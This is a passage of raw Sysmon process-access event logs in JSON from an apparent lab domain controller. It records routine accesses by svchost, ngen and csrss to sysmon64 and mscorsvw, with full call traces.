RT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8360,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8361,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8362,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8363,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8364,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.620\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.620","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.697\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010724D0900}\r\nSourceProcessId: 4796\r\nSourceThreadId: 4524\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010F6771100}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:36.697","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010724D0900}","SourceProcessId":"4796","SourceThreadId":"4524","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4354-5F2D-0000-0010F6771100}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\wow64.dll+10c0b|C:\\Windows\\System32\\wow64.dll+10499|C:\\Windows\\System32\\wow64.dll+6e75|C:\\Windows\\System32\\wow64cpu.dll+1d07|C:\\Windows\\System32\\wow64.dll+1bf87|C:\\Windows\\System32\\wow64.dll+cba0|C:\\Windows\\SYSTEM32\\ntdll.dll+784ad|C:\\Windows\\SYSTEM32\\ntdll.dll+7834e|C:\\Windows\\SYSTEM32\\ntdll.dll+6fa4c(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d90a8(wow64)|C:\\Windows\\System32\\KERNELBASE.dll+d7d7c(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+b37e(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+73b7(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a4c6(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+a642(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ad30(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+ae03(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c43d(wow64)|C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvc.dll+c4ad(wow64)|C:\\Windows\\System32\\KERNEL32.DLL+162c4(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60969(wow64)|C:\\Windows\\SYSTEM32\\ntdll.dll+60934(wow64)","EventReceivedTime":"2020-08-07 12:04:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:36.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4354-5F2D-0000-0010F6771100}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 